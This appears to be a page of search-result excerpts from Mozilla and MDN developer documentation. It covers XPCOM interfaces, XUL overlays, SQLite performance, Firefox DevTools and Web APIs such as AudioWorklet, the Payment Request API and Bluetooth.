...ys the system sound for the specified event. if the user's system is configured to not play system sound effects for the event, this will do nothing. warning: this method should not be used in modern code. please use the html 5 <audio> tag instead. void playeventsound( in unsigned long aeventid ); parameters aeventid an event id which is defined in the constants. ...
...e the html 5 <audio> tag instead. void playeventsound( in unsigned long aeventid ); parameters aeventid an event id which is defined in the constants. playsystemsound() plays the system sound whose name is specified. if the user's system is configured to not play system sound effects, this will do nothing. note: this function is not supported on the macintosh. void playsystemsound( in astring soundalias ); parameters soundalias two different types of names are supported: you can specify the name of a system sound provided by the host operating system; for example, if you specify "systemexclamation", you can play the windows alert sound, but it's played only on windows. similarly, if you specify "blow", you can play the mac os x "blow" system sound...
...nd provided by the host operating system; for example, if you specify "systemexclamation", you can play the windows alert sound, but it's played only on windows. similarly, if you specify "blow", you can play the mac os x "blow" system sound, but, similarly, it's played only on the macintosh. if you wish to use this method for playing sounds, you should check the platform before you call playsystemsound(). note: this second usage is obsolete starting in gecko 1.9.2. you should instead use playeventsound() instead. typically, it will be more useful to request that appropriate sounds be played based on which event you wish to represent by the sound effect. various event names are provided, which will result in playing the corresponding sound effect on the platform the user is ru...
nsIStringBundle
ed in gecko 1.7 this interface is used by xul:stringbundle to retrieve strings. it is recommended that you use the methods of xul:stringbundle to access these functions unless necessary. alternatively, a string bundle can be created within a javascript context with nsistringbundleservice. ...
...of xul:stringbundle to access these functions unless necessary. alternatively, a string bundle can be created within a javascript context with nsistringbundleservice. method overview wstring formatstringfromid(in long aid, [array, size_is(length)] in wstring params, in unsigned long length); wstring formatstringfromname(in wstring aname, [array, size_is(length)] in wstring params, in unsigned long length); nsisimpleenumerator getsimpleenumeration(); wstring getstringfromid(in long aid); wstring getstringfromname(in wstring aname); methods formatstringfromid() returns a formatted string with the given id from the string bundle, where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array. you may a...
...matting codes. you can only pass unicode strings in. the id should refer to a string in the bundle that uses %s, and the number of strings you pass must be the same here and in the properties file (that is you can't omit %1 and use only %2). do not try to use any other types. this uses nstextformatter::smprintf. wstring formatstringfromid( in long aid, [array, size_is(length)] in wstring params, in unsigned long length ); parameters aid the id of the string to retrieve. params parameters to pass in to the string. length the length of the parameter list. return value returns the formatted string. formatstringfromname() returns a formatted string with the given key name from the string bundle, where each occurrence of %s (uppercase) is replaced by each successive element ...
...ss unicode strings in. the name should refer to a string in the bundle that uses %s, and the number of strings you pass must be the same here and in the properties file (that is you can't omit %1 and use only %2). do not try to use any other types. this uses nstextformatter::smprintf to do the dirty work. wstring formatstringfromname( in wstring aname, [array, size_is(length)] in wstring params, in unsigned long length ); parameters aname the name of the string to retrieve. params parameters to pass in to the string. length the length of the parameter list. return value returns the formatted string. getsimpleenumeration() nsisimpleenumerator getsimpleenumeration(); parameters none. return value returns a nsisimpleenumerator of all nsipropertyelement entries in the ...
nsITextInputProcessor
boolean begininputtransactionfortests(in nsidomwindow awindow, [optional] in nsitextinputprocessorcallback acallback); void cancelcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean commitcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean commitcompositionwith(in domstring acommitstring, [optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean flushpendingcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean getmodifierstate(in domstring amodifierkeyname); boolean keydown([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags)...
...); boolean getmodifierstate(in domstring amodifierkeyname); boolean keydown([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean keyup([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); void setcaretinpendingcomposition(in unsigned long aoffset); void setpendingcompositionstring(in domstring astring); void sharemodifierstateof(in nsitextinputprocessor aother); boolean startcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); attributes attribute type description hascomposition boolean whether the instance has composition or not. true if it has composition. read only. cons...
...devent instance for nsitextinputprocessor. akeyflags optional see key_* constants. if this is not specified, the value is assumed as 0. commitcompositionwith() commits the composition with the specified string. if you call this when there is no composition, this starts composition automatically and commits the composition with specified string immediately. boolean commitcompositionwith(in domstring acommitstring, in nsidomkeyevent adomkeyevent optional, in unsigned long akeyflags aoptional); parameters acommitstring the commit string. adomkeyevent optional when the committing composition is caused by a key operation, this should be specified. if this is specified, keyboard events may be dispatched when gecko thinks that...
...hen there is no composition which was created by the instance and if compositionstart is consumed by web contents, i.e., failed to start new composition, this returns false. otherwise, it returns true. getmodifierstate() getting modifier state. this is similar to keyboardevent.getmodifierstate() [en-us]. the result is the modifier state of managed by the instance. boolean getmodifierstate(in domstring amodifierkeyname); parameters amodifierkeyname a modifier key name which is defined by dom level 3 keyboardevents key values. return value true if the modifier state is active. otherwise, false. keydown() dispatches a keydown event and some keypress event when all of or some of them are necessary. when this dispatches a normal modifier key event, the textinputprocessor instance ac...
nsITransport
a transport can have an event sink associated with it. ...
...a transport can have an event sink associated with it. ...
...a transport can have an event sink associated with it. the event sink receives transport-specific events as the transfer is occurring. ...
...ption open_blocking 1<<0 open flags. open_unbuffered 1<<1 generic nsitransporteventsink status codes. nsitransport implementations may override these status codes with their own more specific status codes (for example, see nsisockettransport). constant value description status_reading 0x804b0008 status_writing 0x804b0009 methods close() close the transport and any open streams. void close( in nsresult areason ); parameters areason the reason for closing the stream. openinputstream() open an input stream on this transport. nsiinputstream openinputstream( in unsigned long aflags, in unsigned long asegmentsize, in unsigned long asegmentcount ); parameters aflags optional transport specific flags. flags have the following meaning: open_blocking if specified, t...
nsIWorkerMessageEvent
dom/interfaces/threads/nsidomworkers.idlscriptable this interface represents an event in a web worker thread's event queue. 1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data. read only. origin domstring the event's origin. read only. source nsisupports the event's source. read only. methods initmessageevent() initializes the message ev...
... acanbubblearg whether or not the event can bubble. acancelablearg whether or not the event can be canceled. adataarg the data to place into the data attribute. ...
... acanbubblearg whether or not the event can bubble. acancelablearg whether or not the event can be canceled. adataarg the data to place into the data attribute. aoriginarg the origin to place into the origin attribute. ...
... acanbubblearg whether or not the event can bubble. acancelablearg whether or not the event can be canceled. adataarg the data to place into the data attribute. aoriginarg the origin to place into the origin attribute. ...
Performance
this example, you can see that it is not using an index, so this query would be slow. you can download the command line tool from the sqlite download page. be sure you have a version of the command line tool that is at least as recent as what mozilla uses. as of april 10, 2006, mozilla uses sqlite 3.3.4, but the latest precompiled version of the command line tools is not available for all platforms. this will lead to errors that say "database is encrypted" because the tool is not able to recognize the file format. you may want to check the sqlite_version definition in db/sqlite3/src/sqlite3.h for the current version if you are having problems. caching sqlite has a cache of database pages in memory. it keeps pages associated with the current transaction so it can roll them back, and it also ...
...till be visible in the file. the way to work around this is to run the vacuum command to remove this space. vacuuming is very slow. the vacuum command is essentially the same as the command line sqlite3 olddb .dump | sqlite3 newdb; mv newdb olddb. on some networked drives, vacuuming a 10mb database has been timed at over one minute. therefore, you should avoid vacuuming whenever possible. some items in databases are privacy sensitive, such as deleted history items. users have the expectation that deleting items in their history will remove the traces of that from the database. as a result, mozilla enables the sqlite_secure_delete preprocessor flag in db/sqlite3/src/makefile.in. this flag causes deleted items to be filled with 0s on disk. this eliminates the need to vacuum except to reclaim d...
...this operation is not necessarily slow, but writing 0s to disk in an "aci" database is still slow. this made shutdown very slow because the asyncio thread would block shutdown (bug 328598). ...
...this operation is not necessarily slow, but writing 0s to disk in an "aci" database is still slow. this made shutdown very slow because the asyncio thread would block shutdown (bug 328598). shutdown times of more than 30 seconds were seen. ...
Reference Manual
to do the right thing. safety features type safeguards it is an invariant of nscomptr that it holds the xpcom-correct interface pointer for it's underlying type. for example, an nscomptr<nsifoo> will always hold the pointer that would be returned by queryinterface, when querying an xpcom object for its nsifoo interface. in debug builds, if you subvert this invariant with one of the assignment forms that doesn't call queryinterface, nscomptr will assert at runtime in the bad assignment. // given two un-related interfaces |nsifoo| and |nsibar|... nsibar* bar = ...; // ... nscomptr<nsifoo> foo = bar; // ns_assertion: "queryinterface needed" // ...even assuming you can get the line to compile // (either by casting, or because the types are related by c ) ...
...plate-specific inlines. there is no factored base class. this implies that the entire application must be compiled with the same setting of nscap_feature_debug_ptr_types, else some parts will be expecting a base class and others will not. the app will not link. unit tests the unit tests for nscomptr can be found in the file /xpcom/tests/testcomptr.cpp initialization and assignment built-in forms assignment into, or initialization of an nscomptr is easy to understand. the nscomptr releases its old value, if any, and then assigns in the new value, addrefing it and/or calling queryinterface as you direct by "annotating" the assignment with directives like dont_addref. this section describes each of the possibilities, though the directives can be more succinctly described in the table below.
...ifoo> foo2 = dont_addref(rawfoo2ptr); // note that the function form (called `direct initialization') and the // assignment form (called `copy initialization') of a constructor have // subtly different meanings; prefer direct initialization. nscomptr<nsifoo> foo3; // in a normal assignment... foo3 = dont_addref(rawfoo3ptr); // the annotations described in the table apply to both forms of constructor, // and to plain-old assignment any of the annotations shown in the table can appear in all the positions demonstrated with dont_addref. the sections that follow describe each possibility. nscomptr<t> = t*, nscomptr<t> = dont_queryinterface( t* ) the default behavior, shown in the table as t*, is to addref the new value, but not to call queryinterface against ...
... one unfortunate trap that people fall into in this case is forgetting that their getter function addrefed the result. which leads them to type in code that looks like this: nscomptr<nsifoo> foo( do_queryinterface(createbar()) ); // oops! the interface returned by |createbar| leaks. // you _must_ handle this case with the two step solution shown above. // seems unlikely, you say? you're more likely to see it in a form like this nscomptr<nsifoo> foo( do_queryinterface(alist->elementat(i)) ); // |elementat|, like all good getters, |addrefs| it's result // which would be dropped on the floor, after querying it for the needed // interface bugzilla bug 8221 is specifically about finding and fixing this particular kind of leak. nscom...
XUL Overlays
Mozilla › Tech › XUL › Overlays
s, as described in the example above overriding small pieces of a xul file without having to resupply the whole ui reusing particular pieces of the ui xul files and overlays work together to describe a single master document. ...
...xul files and what kind should be put in overlays, xul overlays generally define items that are not present in the basic versions of the ui, such as additional components. when plug-ins, browser extensions, or other applications provide new ui elements to the browser, these elements should be defined in overlay files. ...
...sing instruction before the doctype declaration in a base file tells the layout engine to load the named overlay file: <?xul-overlay href="chrome://component/content/componentoverlay.xul"?> where component is the name of the package being overlayed (e.g., chrome://navigator/content/navigatoroverlay.xul). the layout engine loads any overlay files and then flows the resulting xul document, so problems associated with incremental insertion in menus, boxes, tables, and forms are avoided. any number of overlays can be loaded into a master document, and an overlay can also load other overlays. because an overlay is superimposed on the master document, there are no ambiguities relating to scoping of style sheets or scripts. style sheets and scripts loaded by the overlay simply apply to the entire m...
...atekeeper/there.is.only.xul"> <menu id="file_menu"> <menuitem name="example one"/> <menuitem name="example two"/> <menuitem name="example three"/> <menuitem name="example four" position="1"/> </menu> </overlay> the node with the position attribute orders itself to the top of the menu. the position can also be given for nodes in overlay files that will be ordered in a group of similar items in the base file. for example, if only the last menuitem above had been in an overlay and the other items were defined in the base file, the overlayed menuitem would still appear at the top of the parent menu. attaching a script to an overlay to execute a script when an overlay is applied, use a <script> element: <script src="overlay.js"/> if you need to set the version of javascript, you can set...
Address book sync client design
eration has begun. * */ void onstartauthoperation(); /** * notify the observer that the ab sync operation has been completed. * * this method is called regardless of whether the the operation was * successful. * * atransactionid - the id for this particular request * astatus - status code for the sync request * amsg - a text string describing the error (if any). * acookie - hmmm...cooookies! */ void onstopauthoperation(in nsresult astatus, in wstring amsg, in string acookie); /** * notify the observer that the ab sync operation has begun. this method is * called only once, at the beginning of a sync transaction * */ void onstartopera...
... error (if any). * acookie - hmmm...cooookies! ...
...peration(in print32 atransactionid, in pruint32 amsgsize); /** * notify the observer that progress as occurred for the ab sync operation */ void onprogress(in print32 atransactionid, in pruint32 aprogress, in pruint32 aprogressmax); /** * notify the observer with a status message for sync operation */ void onstatus(in print32 atransactionid, in wstring amsg); /** * notify the observer that the ab sync operation has been completed. * * this method is called regardless of whether the the operation was * successful. * * atransactionid - the id for this particular request * astatus - status code for the sync request * amsg - a text string describing the error (if any). ...
...called regardless of whether the the operation was * successful. ...
Folders and message lists
interacting with the current folder the folderdisplaywidget for the current folder can be accessed via the global variable gfolderdisplay. this object provides many of the functions required for working with folder views. we'll look at some of them below. getting the current nsimsgfolder the nsimsgfolder interface contains many methods and attributes for working with folders. to get the nsimsgfolder instance for the currently-displayed folder, just use gfolderdisplay.displayedfolder. getting the currently-selected message the folderdisplaywidget has several ways of getting the currently-selected message(s), depending on what exactly you're trying to do: gfolderdisplay.selectedcount: returns the number of messages currently selected. gfolderdisplay.selectedmessage: returns the first...
...ou're trying to do: gfolderdisplay.selectedcount: returns the number of messages currently selected. gfolderdisplay.selectedmessage: returns the first currently-selected message. when using this, be sure that there's only one selected message (or that you only care about the first one). otherwise, use one of the methods described below. gfolderdisplay.selectedmessages: returns an array of nsimsgdbhdrs for the selected messages. if a collapsed thread is in there and working with collapsed threads is enabled, this will include the headers for the messages in that collapsed thread. gfolderdisplay.selectedmessageuris: returns an array of the uris corresponding to the selected messages. like selectedmessages, this also includes messages in selected collapsed threads when so enabled. chang...
...ages in that collapsed thread. gfolderdisplay.selectedmessageuris: returns an array of the uris corresponding to the selected messages. like selectedmessages, this also includes messages in selected collapsed threads when so enabled. changing the current message selection in addition to getting the currently-selected messages, you can also change the selection: gfolderdisplay.selectmessage(msghdr): selects a single message, as specified by msghdr (an nsimsgdbhdr) and scrolls to its position in the message list. gfolderdisplay.selectmessages(arrayofmsghdrs): selects all the messages in the array arrayofmsghdrs. like selectmessage, this function will attempt to scroll the view so the entire selection is visible (which may not be possible for large selections). gfolderdisplay.clearsele...
...gfolderdisplay.clearselection(): clears the list of selected messages. listing messages in a folder if you have a message folder, and would like to list all the messages in that folder, you can use the .messages attribute, which returns an nsisimpleenumerator. it's used like this: // import the fixiterator() function. components.utils.import("resource:///modules/iteratorutils.jsm"); for (let msghdr in fixiterator(myfolder.messages, components.interfaces.nsimsgdbhdr)) { // do something with msghdr... } ...
Debugger.Memory - Firefox Developer Tools
debugger.memory the debugger api can help tools observe the debuggee’s memory use in various ways: it can mark each new object with the javascript call stack at which it was allocated. it can log all object allocations, yielding a stream of javascript call stacks at which allocations have occurred. it can compute a census of items belonging to the debuggee, categorizing items in various ways, and yielding item counts. ifdbg is a debugger instance, then the methods and accessor properties of dbg.memory control howdbg observes its debuggees’ memory use. the dbg.memory object is an instance of debugger.memory; its inherited accesors and methods are described below. allocation site tracking the javascript engine marks each new object with the call stack at which it ...
...er instance, and dbg.memory.trackingallocationsites is set to true, then the javascript engine logs each object allocated bydbg’s debuggee code. you can retrieve the current log by calling dbg.memory.drainallocationslog. you can control the limit on the log’s size by setting dbg.memory.maxallocationsloglength. censuses a census is a complete traversal of the graph of all reachable memory items belonging to a particular debugger‘s debuggees. it produces a count of those items, broken down by various criteria. ifdbg is a debugger instance, you can call dbg.memory.takecensus to conduct a census of its debuggees’ possessions. accessor properties of the debugger.memory.prototype object ifdbg is a debugger instance, then <i>dbg</i>.memory is a debugger.memory instance, which inherits t...
...gs, but the memory consumed by the string itself is a small constant independent of its size, since it is simply a pair of pointers. spidermonkey converts strings from the more complex representations to the simpler ones when it pleases. such conversions usually increase memory consumption. spidermonkey shares some strings amongst all web pages and browser js. these shared strings, called atoms, are not included in censuses’ string counts. scripts spidermonkey has a complex, hybrid representation of javascript code. there are four representations kept in memory: source code. spidermonkey retains a copy of most javascript source code. compressed source code. spidermonkey compresses javascript source code, and de-compresses it on demand. heuristics determine how long to re...
...which translates javascript source or bytecode to machine code. heuristics determine which code to compile, and which compiler to use. machine code may be dropped in response to memory pressure, and regenerated as needed. furthermore, spidermonkey tracks which types of values have appeared in variables and object properties. this type information can be large. in a census, all the various forms of javascript code are placed in the "script" category. type information is accounted to the "types" category. source metadata generated from file: js/src/doc/debugger/debugger.memory.md watermark: sha256:2c1529d6932efec8c624a6f1f366b09cb7fce625a6468657fab81788240bc7ae changeset: e91b2c85aacd ...
Debugger - Firefox Developer Tools
inside this debugger instance’s debuggee globals is invisible to debugger api handlers and breakpoints. setting this to false inhibits the ahead-of-time asm.js compiler and forces asm.js code to run as normal javascript. this is an accessor property with a getter and setter. it is initially false in a freshly created debugger instance. setting this flag to true is intended for uses of subsystems of the debugger api (e.g, debugger.source) for purposes other than step debugging a target javascript program. allowwasmbinarysource a boolean value indicating whether webassembly sources will be available in binary form. the webassembly text generation will be disabled. collectcoverageinfo a boolean value indicating whether code coverage should be enabled inside each debuggee of this deb...
...me”, in firefox). most functions provided by this debugger api observe activity in only those globals that are reachable by the api’s user, thus imposing capability-based restrictions on a debugger’s reach. however, the onnewglobalobject method allows the api user to monitor all global object creation that occurs anywhere within the javascript system (the “jsruntime”, in spidermonkey terms), thereby escaping the capability-based limits. for this reason, onnewglobalobject is only available to privileged code. function properties of the debugger prototype object the functions described below may only be called with a this value referring to a debugger instance; they may not be used as methods of other kinds of objects. adddebuggee(global) add the global object designated b...
...in firefox). most functions provided by this debugger api observe activity in only those globals that are reachable by the api’s user, thus imposing capability-based restrictions on a debugger’s reach. however, the addallglobalsasdebuggees method allows the api user to monitor all global object creation that occurs anywhere within the javascript system (the “jsruntime”, in spidermonkey terms), thereby escaping the capability-based limits. for this reason, addallglobalsasdebuggees is only available to privileged code. removedebuggee(global) remove the global object designated byglobal from this debugger instance’s set of debuggees. return undefined. this method interpretsglobal using the same rules that adddebuggee does. removing a global as a debuggee from this debugger c...
...s running in privileged code (“chrome”, in firefox). most functions provided by this debugger api observe activity in only those globals that are reachable by the api’s user, thus imposing capability-based restrictions on a debugger’s reach. however, findallglobals allows the api user to find all global objects anywhere within the javascript system (the “jsruntime”, in spidermonkey terms), thereby escaping the capability-based limits. for this reason, findallglobals is only available to privileged code. makeglobalobjectreference(global) return the debugger.object whose referent is the global object designated byglobal, without adding the designated global as a debuggee. ifglobal does not designate a global object, throw a typeerror. determine which global is designated byglob...
DevTools API - Firefox Developer Tools
warning: the devtools api is still wip. if you notice any inconsistency, please let the firefox developer tools team know. while this api is currently a work-in-progress, there are usable portions of page inspector and debugger that may be used currently. introduction the devtools api provides a way to register and access developer tools in firefox. in terms of user interface, each registered tool lives in its own tab (we call one tab a panel). these tabs are located in a box we call a toolbox. a toolbox can be hosted within a browser tab (at the bottom or on the side), or in its own window (we say that the toolbox is undocked). a toolbox (and all the tools it contains) is linked to a target, which is the object the tools are debugging. a target is usually a web page (a tab), but ca...
...tabs are located in a box we call a toolbox. a toolbox can be hosted within a browser tab (at the bottom or on the side), or in its own window (we say that the toolbox is undocked). a toolbox (and all the tools it contains) is linked to a target, which is the object the tools are debugging. a target is usually a web page (a tab), but can be other things (a chrome window, a remote tab,…). in terms of code, each tool has to provide a tooldefinition object. a definition is a js light object that exposes different information about the tool (like its name and its icon), and a build method that will be used later-on to start an instance of this tool. the gdevtools global object provides methods to register a tool definition and to access tool instances. an instance of a tool is called a toolp...
...od should return a promise that is resolved with the toolpanel object once it's ready to be used. destroy() a method that is called when the toolbox is closed or the tool is unregistered. if the tool needs to perform asynchronous operations during destruction the method should return a promise that is resolved once the process is complete. return value: a promise if the function performs asynchronous operations, otherwise undefined. example here's a basic template for a toolpanel implementation. // in the tooldefintion object, do // build: (window, target) => new mypanel(window, target), function mypanel(window, target) { // the window object that has loaded the url defined in the tooldefinition this.window = window; // the target this toolbox is debugging. this.
...t module instead of the devtools eventemitter. unfortunately, their api's are a bit different and it's not always evident which one a certain component is using. the main differences between the two modules are that the first parameter for add-on sdk events is the first payload argument instead of the event name and the once method does not return a promise. the work for unifying the event paradigms is ongoing in bug 952653. methods the following methods are available on objects that have been decorated with the eventemitter interface. emit(eventname, ...extraarguments) emits an event with the given name to this object. parameters: eventname {string} - the name of the event. extraarguments {...any} - extra arguments that are passed to the listeners. on(eventname, listener)...
Network request details - Firefox Developer Tools
a new pane in the right-hand side of the network monitor, which provides more detailed information about the request. the screenshots and descriptions in this section reflect firefox 78. earlier versions appeared similarly, but might not include some functionality. the tabs at the top of this pane enable you to switch between the following pages: headers messages (only for websocket items) cookies params response cache timings security (only for secure pages) stack trace (only when the request has a stack trace, e.g. a script called by another script). clicking the icon at the right-hand end of the toolbar closes the details pane and returns you to the list view. headers tab the headers tab has a toolbar, followed by three main sections. this includes: information a...
...aders http request headers each section has a disclosure triangle to expand the section to show more information. headers toolbar using the headers toolbar, you can: filter the headers in the response headers and request headers sections. block the domain involved in this request. the domain is added to the blocking sidebar. resend the request. the resend button opens a menu with two items: resend: simply resends the request. edit and resend: enables an editing mode, where you can modify the method, url, request headers, or request body of the request. click send to send the modified request, or cancel to cancel editing. request information the following information is shown only when the section is expanded: scheme: the scheme used in the url host: the server ...
...or as plain, unformatted text. cookies tab this tab lists full details of any cookies sent with the request or response: as with headers, you can filter the list of cookies displayed. the full list of cookie attributes is shown—see the following screenshot showing response cookies with further attributes shown. the samesite attribute has been shown since firefox 62 (bug 1452715). params tab this tab displays the get parameters and post data of a request: response tab the complete content of the response. if the response is html, js, or css, it will be shown as text: if the response is json, it will be shown as an inspectable object: if the response is an image, the tab displays a preview: for network responses that are initiated by a websocket connection, the detai...
...ng section lists any information provided in the server-timing header — this is used to surface any backend server timing metrics you've recorded (e.g. database read/write, cpu time, file system access, etc.). the header takes a series of descriptions and durations, which can be anything you like. in the above screenshot for example, the highlighted request's server-timing header contains 4 items — data, markup, total, and miss. security tab if the site is being served over https, you get an extra tab labeled "security". this contains details about the secure connection used including the protocol, the cipher suite, and certificate details: the security tab shows a warning for security weaknesses. currently it warns you about two weaknesses: using sslv3 instead of tls using the...
Frame rate - Firefox Developer Tools
frame rate is a measure of a website's responsiveness. a low or inconsistent frame rate can make a site appear unresponsive or janky, making for a bad user experience. a frame rate of 60fps is the target for smooth performance, giving you a time budget of 16.7ms for all the updates needed in response to some event. the frame rate graph in the performance tool shows you the frame rate over the course of a recording. it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for a more in-depth analysis. frame rate and responsiveness frame rate is the rate at which a video device can produce images (or frames). it's most familiar from film and gaming, but is now widely used as a performance measure for websites and web apps. ...
...page involves a lot of complex page updates and the browser can't keep up an acceptable frame rate, scrolling the page will appear sluggish or will occasionally freeze. in general, a high and consistent frame rate will make the user's interaction with the site more enjoyable and engaging. a frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some event. however, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden dips in the frame rate which cause the site to freeze. frame rate graph the frame rate graph is found in the recording overview part of the performance tool. it t...
...es this to keep track of the frame rate over the course of the recording. the x-axis is time over the profile period, and there are three annotations: the maximum frame rate, the average frame rate, and the lowest frame rate. using the frame rate graph the great value of the frame rate graph is that, like the web console, it gives you a quick indication of where your site might be having problems, enabling you to use the other tools for more in-depth analysis. for example, here's a screenshot of a performance profile: you can see that the average frame rate is reasonably healthy, but there are three spots where frame rate collapses for tens of milliseconds. this would certainly cause a noticeable stutter for any animations that were playing in the page. the frame rate graph is correla...
... ...
AudioBuffer() - Web APIs
the audiobuffer constructor of the web audio api creates a new audiobuffer object. syntax var audiobuffer = new audiobuffer(options); parameters inherits parameters from the audionodeoptions dictionary. options options are as follows: length: the size of the audio buffer in sample-frames. to determine the length to use for a specific number of seconds of audio, use numseconds * samplerate. numberofchannels: the number of channels for the buffer. the default is 1, and all user agents are required to support at least 32 channels. samplerate: the sample rate in hz for the buffer. the default is the sample rate of the context used in constructing this object. user agents are required to support sample rates from 8,000 hz to 96,000 hz (but are allowed to go farther outside this ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... until version 57, but has now been removed.firefox android full support 53opera android full support 42notes full support 42notes notes the context parameter was supported up until version 44, but has now been removed.safari ios ? ...
... ...
AudioWorkletProcessor.process - Web APIs
w block of audio is ready for your processor to manipulate, your process() function is invoked to do so. important: currently, audio data blocks are always 128 frames long—that is, they contain 128 32-bit floating-point samples for each of the inputs' channels. however, plans are already in place to revise the specification to allow the size of the audio blocks to be changed depending on circumstances (for example, if the audio hardware or cpu utilization is more efficient with larger block sizes). therefore, you must always check the size of the sample array rather than assuming a particular size. this size may even be allowed to change over time, so you mustn't look at just the first block and assume the sample buffers will always be the same size. syntax var isactivelyprocessing =...
...the method should return false as soon as it's known that it will no longer produce an output. for example, take the audiobuffersourcenode — the processor behind such a node should return true from the process method while the buffer is playing, and start returning false when the buffer playing has ended (there's no way to call play on the same audiobuffersourcenode again). a node that transforms its input. a processor implementing such a node should return false from the process method to allow the presence of active input nodes and references to the node to determine whether it can be garbage-collected. an example of a node with this behaviour is the gainnode. as soon as there are no inputs connected and references retained, gain can no longer be applied to anything, so it can be safely...
... a node should return false from the process method to allow the presence of active input nodes and references to the node to determine whether it can be garbage-collected. an example of a node with this behaviour is the gainnode. as soon as there are no inputs connected and references retained, gain can no longer be applied to anything, so it can be safely garbage-collected. a node that transforms its input, but has a so-called tail-time — this means that it will produce an output for some time even after its inputs are disconnected or are inactive (producing zero-channels). a processor implementing such a node should return true from the process method for the period of the tail-time, beginning as soon as inputs are found that contain zero-channels. an example of such a node is the dela...
...eriod of the tail-time, beginning as soon as inputs are found that contain zero-channels. an example of such a node is the delaynode — it has a tail-time equal to its delaytime property. note: an absence of the return statement means that the method returns undefined, and as this is a falsy value, it is like returning false. omitting an explicit return statement may cause hard-to-detect problems for your nodes. exceptions as the process() method is implemented by the user, it can throw anything. if an uncaught error is thrown, the node will emit an onprocessorerror event and will output silence for the rest of its lifetime. examples in this example we create an audioworkletprocessor that outputs white noise to its first output. the gain can be controlled by the customgain parameter. ...
AudioWorkletProcessor - Web APIs
rface doesn't respond to any events. usage notes deriving classes to define custom audio processing code you have to derive a class from the audioworkletprocessor interface. although not defined on the interface, the deriving class must have the process method. ...
...not defined on the interface, the deriving class must have the process method. this method gets called for each block of 128 sample-frames and takes input and output arrays and calculated values of custom audioparams (if they are defined) as parameters. you can use inputs and audio parameter values to fill the outputs array, which by default holds silence. optionally, if you want custom audioparams on your node, you can supply a parameterdescriptors property as a static getter on the processor. ...
...their calculated values will be passed into the process() method of the processor for you to shape the node output accordingly. ...
...their calculated values will be passed into the process() method of the processor for you to shape the node output accordingly. ...
BasicCardRequest - Web APIs
the basiccardrequest dictionary is a javascript object-structure that can be used in the payment request api. the properties of basiccardrequest are defined in the basic card payment spec). properties basiccardrequest.supportednetworks optional secure context an optional array of domstrings representing the card networks that the retailer supports (e.g. "amex", "mastercard"); see card network identifiers for a complete list. if the property is missing, it implies that all networks are supported. ...
...stercard"); see card network identifiers for a complete list. if the property is missing, it implies that all networks are supported. obsolete properties these properties have been removed from the payment method: basic card specification and should no longer be used. basiccardrequest.supportedtypes optional secure context this obsolete property was used to provide an optional array of domstrings representing the card types that the retailer supports (e.g. credit, debit, prepaid). if the property is missing, it implies that all the card types are supported. instead of using this property, it is up to the server to check support for the card given the information coded into the account number. card network identifiers the w3c maintains an official list of approved card network ide...
...ednetworks list. those are: amex cartebancaire diners discover jcb mastercard mir unionpay visa examples in the following example, the paymentrequest() constructor is used to create a new payment request, which takes three objects as parameters — one containing details of the payment methods that can be used for the payment, one containing details of the actual order (such as items bought and shipping options), and an optional object that describes what data is needed to fullfil the payment (e.g., a shipping address). the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary. var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supp...
...operty that has to conform to the structure defined by the basiccardrequest dictionary. ...
BeforeInstallPromptEvent - Web APIs
nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">beforeinstallpromptevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor beforeinstallpromptevent() creates a new beforeinstallpromptevent. properties inherits properties from its parent, event. beforeinstallpromptevent.platforms read only returns an array of domstring items containing the platforms on which the event was dispatched. this is provided for user agents that want to present a choice of versions to the user such as, for example, "web" or "play" which would allow the user to chose between a web version or an android version. beforeinstallpromptevent.userchoice read only returns a promise that resolves to a...
...ad only returns an array of domstring items containing the platforms on which the event was dispatched. this is provided for user agents that want to present a choice of versions to the user such as, for example, "web" or "play" which would allow the user to chose between a web version or an android version. beforeinstallpromptevent.userchoice read only returns a promise that resolves to a domstring containing either "accepted" or "dismissed". methods beforeinstallpromptevent.prompt() allows a developer to show the install prompt at a time of their own choosing. this method returns a promise. ...
...rsion. beforeinstallpromptevent.userchoice read only returns a promise that resolves to a domstring containing either "accepted" or "dismissed". methods beforeinstallpromptevent.prompt() allows a developer to show the install prompt at a time of their own choosing. this method returns a promise. ...
...romise that resolves to a domstring containing either "accepted" or "dismissed". methods beforeinstallpromptevent.prompt() allows a developer to show the install prompt at a time of their own choosing. this method returns a promise. ...
BluetoothDevice - Web APIs
name; readonly attribute bluetoothremotegattserver? gatt; readonly attribute frozenarray uuids; promise watchadvertisements(); void unwatchadvertisements(); readonly attribute boolean watchingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements characterist...
